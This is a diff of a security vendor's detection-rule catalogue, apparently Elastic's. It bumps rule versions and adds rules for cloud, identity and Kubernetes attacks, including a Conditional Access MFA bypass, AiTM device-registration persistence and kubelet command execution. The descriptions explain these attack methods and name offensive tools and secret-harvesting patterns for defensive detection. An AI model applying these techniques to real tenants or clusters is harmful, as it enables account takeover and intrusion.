account role, granting elevated but specific permissions based on the task policy specified. Adversaries who have compromised user credentials can use this technique to escalate privileges and gain unauthorized access to AWS resources. This is a New Terms rule that identifies when the STS AssumeRoot action is performed by a user that rarely assumes this role against a specific member account. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS STS], [Resources: Investigation Guide], [Use Case: Identity and Access Audit], [Tactic: Privilege Escalation] |None |9 |<> |An adversary with access to a set of compromised credentials may attempt to verify that the credentials are valid and determine what account they are using. This rule looks for the first time an identity has called the STS GetCallerIdentity API, which may be an indicator of compromised credentials. A legitimate user would not need to perform this operation as they should know the account they are using. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS STS], [Use Case: Identity and Access Audit], [Tactic: Discovery], [Resources: Investigation Guide] |None |9 @@ -358,7 +386,7 @@ and their rule type is `machine_learning`. |<> |Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Secrets Manager], [Tactic: Credential Access], [Resources: Investigation Guide] |None |8 -|<> |Identifies sensitive AWS IAM operations performed via AWS CloudShell based on the user agent string. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. While convenient for administrators, CloudShell access from compromised console sessions can enable attackers to perform privileged operations without installing tools or using programmatic credentials. This rule detects high-risk actions such as creating IAM users, access keys, roles, or attaching policies when initiated from CloudShell, which may indicate post-compromise credential harvesting or privilege escalation activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Tactic: Persistence], [Tactic: Privilege Escalation], [Use Case: Threat Detection], [Resources: Investigation Guide] |None |3 +|<> |Identifies sensitive AWS IAM operations performed via AWS CloudShell based on the user agent string. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. While convenient for administrators, CloudShell access from compromised console sessions can enable attackers to perform privileged operations without installing tools or using programmatic credentials. This rule detects high-risk actions such as creating IAM users, access keys, roles, or attaching policies when initiated from CloudShell, which may indicate post-compromise credential harvesting or privilege escalation activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Data Source: AWS IAM], [Tactic: Persistence], [Tactic: Privilege Escalation], [Use Case: Threat Detection], [Resources: Investigation Guide] |None |4 |<> |Identifies when a single AWS principal makes GetServiceQuota API calls for the EC2 service quota L-1216C47A, across more than 10 AWS regions within a 30-second window. This quota represents the vCPU limit for on-demand EC2 instances. Adversaries commonly enumerate this quota across regions to assess capacity for large-scale instance deployment, including cryptocurrency mining, malware hosting, or command-and-control infrastructure. This behavior may indicate cloud infrastructure discovery using compromised credentials or a compromised workload. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Service Quotas], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |11 @@ -368,7 +396,7 @@ and their rule type is `machine_learning`. |<> |Captures requests to the AWS federation endpoint (signin.amazonaws.com) for GetSigninToken. This API exchanges existing temporary AWS credentials (e.g., from STS GetFederationToken or AssumeRole) for a short-lived sign-in token that is embedded in a one-click URL to the AWS Management Console. It is commonly used by custom federation tools and automation to pivot from programmatic access to a browser session. This is a building block rule meant to be used for correlation with other rules to detect suspicious activity. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Sign-In], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Rule Type: BBR] |None |2 -|<> |Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Tactic: Initial Access], [Use Case: Cloud Threat Detection], [Resources: Investigation Guide] |None |5 +|<> |Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS CloudTrail], [Tactic: Initial Access], [Use Case: Cloud Threat Detection], [Resources: Investigation Guide] |None |6 |<> |Detects the first occurrence of a user identity accessing AWS Systems Manager (SSM) SecureString parameters using the GetParameter or GetParameters API actions with credentials in the request parameters. This could indicate that the user is accessing sensitive information. This rule detects when a user accesses a SecureString parameter with the withDecryption parameter set to true. This is a New Terms rule that detects the first occurrence of an AWS identity accessing SecureString parameters with decryption. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS Systems Manager], [Tactic: Credential Access], [Resources: Investigation Guide] |None |9 @@ -382,7 +410,7 @@ and their rule type is `machine_learning`. |<> |Specially crafted DNS requests can manipulate a known overflow vulnerability in some Windows DNS servers, resulting in Remote Code Execution (RCE) or a Denial of Service (DoS) from crashing the service. |[Use Case: Threat Detection], [Tactic: Lateral Movement], [Tactic: Impact], [Resources: Investigation Guide], [Use Case: Vulnerability], [Data Source: Corelight], [Data Source: PAN-OS], [Data Source: Network Traffic], [Data Source: Zeek] |None |112 -|<> |This rule detects network events that may indicate the use of Telnet traffic. Telnet is commonly used by system administrators to remotely control older or embedded systems using the command line shell. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. As a plain-text protocol, it may also expose usernames and passwords to anyone capable of observing the traffic. |[Domain: Endpoint], [Use Case: Threat Detection], [Tactic: Command and Control], [Tactic: Lateral Movement], [Tactic: Initial Access], [Data Source: Fortinet], [Data Source: PAN-OS], [Data Source: pfSense], [Data Source: SonicWall], [Data Source: Suricata], [Resources: Investigation Guide] |None |115 +|<> |This rule detects network events that may indicate the use of Telnet traffic. Telnet is commonly used by system administrators to remotely control older or embedded systems using the command line shell. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. As a plain-text protocol, it may also expose usernames and passwords to anyone capable of observing the traffic. |[Domain: Endpoint], [Use Case: Threat Detection], [Tactic: Command and Control], [Tactic: Lateral Movement], [Tactic: Initial Access], [Data Source: Fortinet], [Data Source: PAN-OS], [Data Source: pfSense], [Data Source: SonicWall], [Data Source: Suricata], [Resources: Investigation Guide] |None |116 |<> |This rule detects Linux Access Control List (ACL) modification via the setfacl command. Attackers may use the setfacl utility to modify file and directory permissions in order to evade detection and maintain persistence on a compromised system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |107 @@ -448,7 +476,7 @@ and their rule type is `machine_learning`. |<> |Identifies execution of the Apple script interpreter (osascript) without a password prompt and with administrator privileges. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |213 -|<> |Detects when an administrator adds a Google Workspace Marketplace application to the domain. Adversaries with administrative access may register a malicious OAuth application to establish long-lived API access to mail, drive, and other Workspace data, maintaining persistence and enabling collection without relying on a single user password alone. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Configuration Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |211 +|<> |Detects when an administrator adds a Google Workspace Marketplace application to the domain. Adversaries with administrative access may register a malicious OAuth application to establish long-lived API access to mail, drive, and other Workspace data, maintaining persistence and enabling collection without relying on a single user password alone. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Configuration Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |212 |<> |Google Workspace administrators may be aware of malicious applications within the Google marketplace and block these applications for user security purposes. An adversary, with administrative privileges, may remove this application from the explicit block list to allow distribution of the application amongst users. This may also indicate the unauthorized use of an application that had been previously blocked before by a user with admin privileges. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Configuration Audit], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |112 @@ -522,7 +550,7 @@ and their rule type is `machine_learning`. |<> |Authorization plugins are used to extend the authorization services API and implement mechanisms that are not natively supported by the OS, such as multi-factor authentication with third party software. Adversaries may abuse this feature to persist and/or collect clear text credentials as they traverse the registered plugins during user logon. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |112 -|<> |Identifies Azure AD Graph (graph.windows.net) requests originating from user-agent strings associated with offensive tooling, scripting libraries, or generic HTTP clients. First-party Microsoft components calling AAD Graph identify with specific user agents such as "Microsoft Azure Graph Client Library", "Microsoft ADO.NET Data Services", or "Microsoft.OData.Client". Anything outside that recognised set is either a developer prototyping against the legacy API or an enumeration tool walking the directory. |[Domain: Cloud], [Data Source: Azure], [Data Source: Azure AD Graph], [Data Source: Azure AD Graph Activity Logs], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |2 +|<> |Identifies Azure AD Graph (graph.windows.net) requests originating from user-agent strings associated with offensive tooling, scripting libraries, or generic HTTP clients. First-party Microsoft components calling AAD Graph identify with specific user agents such as "Microsoft Azure Graph Client Library", "Microsoft ADO.NET Data Services", or "Microsoft.OData.Client". Anything outside that recognised set is either a developer prototyping against the legacy API or an enumeration tool walking the directory. |[Domain: Cloud], [Data Source: Azure], [Data Source: Azure AD Graph], [Data Source: Azure AD Graph Activity Logs], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |3 |<> |Identifies Azure AD Graph (graph.windows.net) requests where the combination of calling OAuth client ("azure.aadgraphactivitylogs.properties.app_id") and signed-in user ("user.id") has not been observed in the tenant in a historical window. A user appearing against AAD Graph under an OAuth client that has not previously authenticated that user is a sign of a FOCI swap, a phished refresh token being redeemed for a new client, or an adversary running tooling under a client identity the user does not normally use. |[Domain: Cloud], [Data Source: Azure], [Data Source: Azure AD Graph], [Data Source: Azure AD Graph Activity Logs], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Discovery], [Resources: Investigation Guide] |None |1 @@ -530,7 +558,13 @@ and their rule type is `machine_learning`. |<> |Detects an unusually high ratio of 4xx HTTP responses from Azure AD Graph (graph.windows.net) per calling identity in a short window. Post-identity compromise leading to recon often leaves a tail of 403s and 404s as tooling walks endpoints it does not have permission for, asks for object IDs it does not have, or uses an OAuth client that has been pulled off the AAD Graph allow-list. Surges or an unexpected ratio of 4xx responses concentrated on a single (user and ASN) pair are characteristic of automated tooling rather than human or first-party traffic. |[Domain: Cloud], [Data Source: Azure], [Data Source: Azure AD Graph], [Data Source: Azure AD Graph Activity Logs], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |1 -|<> |Detects an Azure AD Graph (graph.windows.net) burst from a user-agent identifying as "aiohttp" (the default HTTP library used by ROADrecon's "gather" command) where a single calling identity issues many requests in a short window. ROADrecon walks every interesting directory object type via aiohttp, producing a large volume of requests from one user / source IP / UA triple. The combination of "aiohttp" UA with a burst threshold is a structural ROADrecon signature; legitimate first-party Microsoft components do not identify as aiohttp. |[Domain: Cloud], [Data Source: Azure], [Data Source: Azure AD Graph], [Data Source: Azure AD Graph Activity Logs], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |1 +|<> |Detects an Azure AD Graph (graph.windows.net) burst from a user-agent identifying as "aiohttp" (the default HTTP library used by ROADrecon's "gather" command) where a single calling identity issues many requests in a short window. ROADrecon walks every interesting directory object type via aiohttp, producing a large volume of requests from one user / source IP / UA triple. The combination of "aiohttp" UA with a burst threshold is a structural ROADrecon signature; legitimate first-party Microsoft components do not identify as aiohttp. |[Domain: Cloud], [Data Source: Azure], [Data Source: Azure AD Graph], [Data Source: Azure AD Graph Activity Logs], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |2 + +|<> |Detects a non-system identity using the AKS (Azure Kubernetes Service) API server nodes/proxy subresource to reach a node's Kubelet. Proxying through the API server reaches the Kubelet API to enumerate pods or run commands on nodes, a lateral-movement and privilege-escalation vector (kubeletctl, Peirates). Node, control-plane, and kube-system service account identities that routinely proxy for monitoring are excluded, so remaining matches, including compromised workload service accounts, are surfaced for review. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: Azure], [Data Source: Azure Platform Logs], [Data Source: Kubernetes], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Tactic: Execution], [Resources: Investigation Guide] |None |1 + +|<> |Detects an AKS (Azure Kubernetes Service) identity establishing an exec session into a pod. Interactive command execution inside a workload via kubectl exec is a common post-compromise technique used to access secrets, run tooling, and expand access from a foothold container. Node, control-plane, and kube-system service account identities are excluded, so workload service accounts and users, the identities an adversary is most likely to abuse, remain in scope. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: Azure], [Data Source: Azure Platform Logs], [Data Source: Kubernetes], [Use Case: Threat Detection], [Tactic: Execution], [Resources: Investigation Guide] |None |1 + +|<> |Detects use of the AKS (Azure Kubernetes Service) API server nodes/proxy subresource to reach a node's Kubelet command-execution endpoints (run, exec, attach, portforward, cri). Unlike benign monitoring that scrapes /metrics and /stats, a request to these endpoints executes commands inside a pod on the node, the core of the kubeletctl and Peirates lateral-movement technique. Even a GET to /exec is command execution because the Kubelet maps the WebSocket upgrade handshake to the RBAC get verb, so nodes/proxy GET is sufficient for remote code execution. |[Domain: Cloud], [Domain: Kubernetes], [Data Source: Azure], [Data Source: Azure Platform Logs], [Data Source: Kubernetes], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |1 |<> |Detects when a service principal or user performs an Azure Arc cluster credential listing operation from a source IP not previously associated with that identity. The `listClusterUserCredential` action retrieves credentials for the Arc Cluster Connect proxy, enabling kubectl access through the Azure ARM API. An adversary using stolen service principal credentials will typically call this operation from infrastructure not previously seen for that SP. By tracking the combination of caller identity and source IP, this rule avoids false positives from backend services and CI/CD pipelines that rotate IPs but maintain consistent identity-to-IP patterns over time. |[Domain: Cloud], [Data Source: Azure], [Data Source: Azure Arc], [Data Source: Azure Activity Logs], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Credential Access], [Resources: Investigation Guide] |None |3 @@ -568,7 +602,7 @@ and their rule type is `machine_learning`. |<> |Identifies modifications to a Key Vault in Azure. The Key Vault is a service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. Because this data is sensitive and business critical, access to key vaults should be secured to allow only authorized applications and users. This is a New Terms rule that detects when this activity hasn't been seen by the user in a specified time frame. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Azure Activity Logs], [Tactic: Impact], [Use Case: Configuration Audit], [Resources: Investigation Guide] |None |109 -|<> |Identifies secrets, keys, or certificates retrieval operations from Azure Key Vault by a user principal that has not been seen previously doing so in a certain amount of days. Azure Key Vault is a cloud service for securely storing and accessing secrets, keys, and certificates. Unauthorized or excessive retrievals may indicate potential abuse or unauthorized access attempts. |[Domain: Cloud], [Domain: Storage], [Domain: Identity], [Data Source: Azure], [Data Source: Azure Platform Logs], [Data Source: Azure Key Vault], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Resources: Investigation Guide] |None |4 +|<> |Identifies secrets, keys, or certificates retrieval operations from Azure Key Vault by a user principal that has not been seen previously doing so in a certain amount of days. Azure Key Vault is a cloud service for securely storing and accessing secrets, keys, and certificates. Unauthorized or excessive retrievals may indicate potential abuse or unauthorized access attempts. |[Domain: Cloud], [Domain: Storage], [Domain: Identity], [Data Source: Azure], [Data Source: Azure Platform Logs], [Data Source: Azure Key Vault], [Use Case: Threat Detection], [Use Case: Identity and Access Audit], [Tactic: Credential Access], [Resources: Investigation Guide] |None |5 |<> |Identifies when events are deleted in Azure Kubernetes. Kubernetes events are objects that log any state changes. Example events are a container creation, an image pull, or a pod scheduling on a node. An adversary may delete events in Azure Kubernetes in an attempt to evade detection. |[Domain: Cloud], [Data Source: Azure], [Use Case: Log Auditing], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |109 @@ -656,7 +690,7 @@ and their rule type is `machine_learning`. |<> |Detects the use of the chkconfig binary to manually add a service for management by chkconfig. Threat actors may utilize this technique to maintain persistence on a system. When a new service is added, chkconfig ensures that the service has either a start or a kill entry in every runlevel and when the system is rebooted the service file added will run providing long-term persistence. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Threat: Lightning Framework], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |219 -|<> |Detects chroot execution on Linux when the process appears to run in a container-oriented context: the process title matches runc init, the entry leader is a container workload, or the parent process is runc. Chroot from inside a container can pivot to an alternate root filesystem and is a common step in container breakout attempts when combined with sensitive host mounts. |[Data Source: Auditd Manager], [Data Source: Elastic Defend], [Domain: Container], [Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |1 +|<> |Detects chroot execution on Linux when the process appears to run in a container-oriented context: the process title matches runc init, the entry leader is a container workload, or the parent process is runc. Chroot from inside a container can pivot to an alternate root filesystem and is a common step in container breakout attempts when combined with sensitive host mounts. |[Data Source: Auditd Manager], [Data Source: Elastic Defend], [Domain: Container], [Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |2 |<> |Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender XDR], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |320 @@ -664,7 +698,7 @@ and their rule type is `machine_learning`. |<> |Detects HTTP GET requests to the link-local instance metadata service (169.254.169.254) for cloud credential or token paths on AWS, GCP, or Azure. Adversaries and vulnerable workloads use scripts, shells, or application runtimes to read IAM role credentials or OAuth tokens from the metadata API. Requires the Network Packet Capture integration with HTTP decoding on ports 80 and 443 and process enrichment enabled so "process.*" fields are present. |[Domain: Cloud], [Domain: Network], [OS: Linux], [OS: Windows], [OS: macOS], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Network Packet Capture], [Resources: Investigation Guide] |None |1 -|<> |Cobalt Strike is a threat emulation platform commonly modified and used by adversaries to conduct network attack and exploitation campaigns. This rule detects a network activity algorithm leveraged by Cobalt Strike implant beacons for command and control. |[Use Case: Threat Detection], [Tactic: Command and Control], [Domain: Endpoint], [Resources: Investigation Guide] |None |109 +|<> |Cobalt Strike is a threat emulation platform commonly modified and used by adversaries to conduct network attack and exploitation campaigns. This rule detects a network activity algorithm leveraged by Cobalt Strike implant beacons for command and control. |[Use Case: Threat Detection], [Tactic: Command and Control], [Domain: Endpoint], [Resources: Investigation Guide] |None |111 |<> |Identifies attempts to disable/modify the code signing policy through system native utilities. Code signing provides authenticity on a program, and grants the user with the ability to check whether the program has been tampered with. By allowing the execution of unsigned or self-signed code, threat actors can craft and execute malicious code. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender XDR], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |216 @@ -802,10 +836,12 @@ and their rule type is `machine_learning`. |<> |Identifies when guest access is enabled in Microsoft Teams. Guest access in Teams allows people outside the organization to access teams and channels. An adversary may enable guest access to maintain persistence in an environment. |[Domain: Cloud], [Data Source: Microsoft 365], [Use Case: Configuration Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |214 -|<> |Detects when multi-factor authentication (MFA) is disabled for a Google Workspace organization. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |211 +|<> |Detects when multi-factor authentication (MFA) is disabled for a Google Workspace organization. An adversary may attempt to modify a password policy in order to weaken an organization’s security controls. |[Domain: Cloud], [Data Source: Google Workspace], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |212 |<> |Identifies the use of Cmdlets and methods related to Microsoft Exchange Transport Agents install. Adversaries may leverage malicious Microsoft Exchange Transport Agents to execute tasks in response to adversary-defined criteria, establishing persistence. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: PowerShell Logs], [Rule Type: BBR] |None |110 +|<> |This rule looks for processes that behave like an attacker trying to exploit a known vulnerability in VMware tools (CVE-2025-41244). The vulnerable behavior involves the VMware tools service or its discovery scripts executing other programs to probe their version strings. An attacker can place a malicious program in a writable location (for example /tmp) and have the tools execute it with elevated privileges, resulting in local privilege escalation. The rule flags launches where vmtoolsd or the service discovery scripts start other child processes. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Use Case: Vulnerability], [Resources: Investigation Guide] |None |4 + |<> |Identifies scripts that contain patterns and known methods that obfuscate PowerShell code. Attackers can use obfuscation techniques to bypass PowerShell security protections such as Antimalware Scan Interface (AMSI). |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: PowerShell Logs], [Resources: Investigation Guide] |None |110 |<> |Identifies the use of Cmdlets and methods related to discovery activities. Attackers can use these to perform various situational awareness related activities, like enumerating users, shares, sessions, domain trusts, groups, etc. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Collection], [Tactic: Discovery], [Data Source: PowerShell Logs], [Rule Type: BBR] |None |215 @@ -898,17 +934,23 @@ and their rule type is `machine_learning`. |<> |Identifies potential abuse of actor tokens in Microsoft Entra ID audit logs. Actor tokens are undocumented backend mechanisms used by Microsoft for service-to-service (S2S) operations, allowing services to perform actions on behalf of users. These tokens appear in logs with the service's display name but the impersonated user's UPN. While some legitimate Microsoft operations use actor tokens, unexpected usage may indicate exploitation of CVE-2025-55241, which allowed unauthorized access to Azure AD Graph API across tenants before being patched by Microsoft. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |6 +|<> |Identifies a Microsoft Entra ID identity-compromise chain in which a single user, within a 10-minute window, authenticates to the Device Registration Service through the Microsoft Authentication Broker (MAB) client, registers a device, and then uses the resulting Primary Refresh Token (PRT) to access a resource other than the Device Registration Service. This sequence is the core post-adversary-in-the-middle (AiTM) persistence pattern used by phishing kits such as Tycoon2FA and Kali365: after capturing a victim session, the kit registers an Azure AD-joined device to obtain a device-bound PRT, which survives user-level session revocation and password resets and grants trusted, MFA-free access. Correlating the broker sign-in, the device-registration audit event, and the follow-on PRT sign-in for the same user within a short window is a high-fidelity indicator of active account takeover. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 + |<> |Identifies when a new credential is added to an application in Azure. An application may use a certificate or secret string to prove its identity when requesting a token. Multiple certificates and secrets can be added for an application and an adversary may abuse this by creating an additional authentication method to evade defenses or persist in an environment. |[Domain: Cloud], [Data Source: Azure], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |109 |<> |Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. |[Domain: Cloud], [Domain: SaaS], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |9 -|<> |Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Configuration Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |110 +|<> |Identifies the first observed instance of a Microsoft first-party public client application acquiring a Microsoft Graph token using single-factor (password-only) authentication while an MFA Conditional Access grant control went unenforced, for a given user, application, and source autonomous system (ASN). This pattern is associated with the Conditional Access "resource exclusion" bypass: when a tenant's "all resources" Conditional Access policy contains at least one application exclusion, Entra ID issues tokens for low-privilege baseline scopes (User.Read, openid, profile, email) to any resource, including Microsoft Graph, without enforcing the policy's grant controls (such as MFA). An adversary holding only a stolen password can therefore obtain a Graph token through a trusted first-party public client (for example, Microsoft Bing Search) and enumerate directory objects, even though the tenant requires MFA. Critically, the overall conditional_access_status is never "failure" for this technique (the sign-in is not blocked); it is reported as "success" or "notApplied" depending on what other policies exist in the tenant, so detections that key on Conditional Access failures will not observe it. The reliable fingerprint is in the per-policy results: a policy whose enforced grant control is MFA reports a result of "notApplied" for this sign-in, meaning the MFA requirement was silently not enforced while the single-factor, password-only sign-in still succeeded. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 + +|<> |Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Configuration Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |111 |<> |Detects when a custom domain is added or verified in an Entra ID tenant. Adding and verifying a custom domain are precursor steps to configuring domain federation, which can be abused by adversaries to route authentication through an attacker-controlled identity provider (Golden SAML). In most organizations, custom domains are added infrequently and these events should be investigated to ensure they are part of a legitimate administrative workflow. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Discovery], [Tactic: Resource Development], [Resources: Investigation Guide] |None |2 -|<> |Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19041.928" and the device display name follows the default "DESKTOP-" pattern. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and it is uncommon for the OS build to match the hardcoded value across an environment of otherwise patched hosts. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved provisioning tooling and device naming conventions before relying on it. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 +|<> |Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19045.2006" and the device display name follows the default "DESKTOP-" pattern. This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and it is uncommon for the OS build to match this exact value across an environment of otherwise patched hosts, where a current Windows 10 22H2 device reports a far higher "10.0.19045." value. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Threat: Tycoon2FA], [Threat: Kali365], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 + +|<> |Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19041.928" and the device display name follows the default "DESKTOP-" pattern. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and it is uncommon for the OS build to match the hardcoded value across an environment of otherwise patched hosts. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved provisioning tooling and 